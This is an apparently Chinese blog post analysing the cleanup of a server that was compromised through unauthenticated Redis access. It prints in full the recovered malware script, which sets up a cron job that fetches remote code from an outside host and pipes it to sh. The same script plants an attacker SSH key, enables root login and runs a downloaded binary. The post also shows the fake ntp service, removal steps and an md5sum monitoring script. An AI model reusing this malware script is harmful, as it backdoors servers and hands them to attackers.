首页 Linux网维 redis非授权访问的查毒过程

redis非授权访问的查毒过程

排查及处理过程2016年9月26日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被入侵了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害第二天,开始排查原因…

排查及处理过程2016年9月26日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被入侵了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害第二天,开始排查原因首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)。

redis非授权访问的查毒过程插图

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序下面来慢慢分析我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里操作,防止这个文件是浏览器0day利用脚本),。

下面是wget 下载到的pm.sh,内容如下:exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo”*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”> /var/spool/cron/root mkdir-p /var/spool/cron/crontabs echo”*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”> /var/spool/cron/crontabs/root if[ ! -f “/root/.ssh/KHK75NEOiq” ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo “ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot” > ~/.ssh/KHK75NEOiq echo “PermitRootLogin yes”>> /etc/ssh/sshd_config echo “RSAAuthentication yes”>> /etc/ssh/sshd_config echo “PubkeyAuthentication yes”>> /etc/ssh/sshd_config echo “AuthorizedKeysFile.ssh/KHK75NEOiq” >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if[ ! -f “/etc/init.d/ntp” ]; then if [ ! -f”/etc/systemd/system/ntp.service” ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install fi fi /etc/init.d/ntpstart psauxf|grep -v grep|grep “/usr/bin/cron”|awk {print $2}|xargs kill -9 psauxf|grep -v grep|grep “/opt/cron”|awk {print $2}|xargs kill -9

根据这个脚本的内容,我们大致就知道他的作案手段了:1、利用redis非授权入侵2、下载脚本,写入crontab定时执行,确保病毒的再生3、修改服务器sshd登录为他自己的秘钥4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。

将病毒释放到/opt目录下,文件名KHK75NEOiq335、/opt/KHK75NEOiq33 -Install 这步操作应该是释放出病毒文件(如下的ntp)【hexdump -C/opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。

暂不具备反汇编能力,无法获知这个命令感染了哪些文件】6、伪造ntp服务,给管理员造成迷惑,驻留后台(Linux下是没有ntp服务的,有的是ntpd服务)附发现的伪造的/etc/init.d/ntp文件内容:。

#!/bin/sh #For RedHat and cousins: #chkconfig: – 99 01 #description: NTP daemon #processname: /usr/sbin/ntp ###BEGIN INIT INFO #Provides: /usr/sbin/ntp #Required-Start: #Required-Stop: #Default-Start: 2 3 4 5 #Default-Stop: 0 1 6 #Short-Description: NTP daemon #Description: NTP daemon ###END INIT INFO cmd=”/usr/sbin/ntp “-D”” # 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的 # 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

name=$(basename$0) pid_file=”/var/run/$name.pid” stdout_log=”/var/log/$name.log” stderr_log=”/var/log/$name.err” get_pid(){ cat “$pid_file” } is_running(){ [ -f “$pid_file” ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1 } case”$1″ in start) if is_running; then echo “Already started” else echo “Starting $name” $cmd >>”$stdout_log” 2>> “$stderr_log” & echo $! > “$pid_file” if ! is_running; then echo “Unable to start, see$stdout_log and $stderr_log” exit 1 fi fi ;; stop) if is_running; then echo -n “Stopping$name..” kill $(get_pid) for i in {1..10} do if ! is_running; then break fi echo -n “.” sleep 1 done echo if is_running; then echo “Not stopped; maystill be shutting down or shutdown may have failed” exit 1 else echo “Stopped” if [ -f “$pid_file”]; then rm “$pid_file” fi fi else echo “Not running” fi ;; restart) $0 stop if is_running; then echo “Unable to stop, will notattempt to start” exit 1 fi $0 start ;; status) if is_running; then echo “Running” else echo “Stopped” exit 1 fi ;; *) echo “Usage: $0{start|stop|restart|status}” exit 1 ;; esac exit0 。

chkconfig–list|grep 3:on 可以看到ntp这个伪装的服务被设置为开机自启动了。

redis非授权访问的查毒过程插图1

解决方法:chkconfig ntp offchkconfig –del ntp先拷贝出ntp这个启动脚本,然后rm -f /etc/init.d/ntp先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq33这2个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件

编辑 /var/spool/cron/crontabs/root和 /var/spool/cron/root,清除植入的cron计划任务此外,还要检查以下几处:1、是否有新添加的账户 【grep /bin/bash /etc/passwd】

2、查看其他可登陆的账户下是否也有恶意的计划任务3、检查是否有新添加了sudo账户当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统安全策略:给redis做密码授权访问,不要绑定在0.0.0.0:6379端口。

开启iptables防火墙,只允许部分主机访问redis端口编写脚本,定期检查汇报重要文件的md5sum附一个之前写过检测md5sum的脚本:step1、首先在新安装的无问题的电脑上执行下面几条命令,将MD5SUM保存下来,作为原始模板: #!/bin/bash #记录原始的执行文件的md5sum if[[ ! -d /var/md5sum/ ]];then mkdir /var/md5sum -p fi fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori done step2、下面是我的/home/scripts/chkmd5sum.sh脚本,作用是检查相关目录的md5sum是否发生变化。

#!/bin/bash #需要配置计划任务定期执行这个脚本,比对md5sum是否发生变化,变化则自动告警 if[[ ! -d /var/md5sum/ ]];then mkdir /var/md5sum -p fi rm-f /tmp/md5sum* fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F` done if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then cat /tmp/md5sum_status |mail -s”Warning,Md5sum has changed.” lirulei90@126.com fi rm-f /tmp/md5sum_status step3、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查2次或更多) echo30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1>> /var/spool/cron/root 。

后续去chinaz.com查看下这个域名,结果也在预料之内,注册在国外,未备案。

redis非授权访问的查毒过程插图2redis非授权访问的查毒过程插图3redis非授权访问的查毒过程插图4redis非授权访问的查毒过程插图5

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

作者: 3182235786a

为您推荐

linux文件命令

linux文件命令

在 Linux 中,我们可以使用 `with open()` 语句和 `write()` 函数来写入文件。以下是一个简单...
linux的命令

linux的命令

以下是一个简单的 Linux 命令示例,该命令将显示当前日期和时间: “`c #include <st...
linux 命令

linux 命令

由于 Linux 命令是由 C 语言编写的,因此下面是一个简单的用中文编写的 Linux 命令示例,它将输出“Hello...
linux命令tar

linux命令tar

这个问题看起来有些模糊,我不确定您是想了解如何在 Linux 系统中使用 tar 命令,还是如何编写一个名为 tar 的...
linux压缩命令

linux压缩命令

Linux压缩命令:高效管理文件和目录 Linux操作系统提供了一系列强大的压缩命令,使您能够高效地管理文件和目录。无论...

发表回复

返回顶部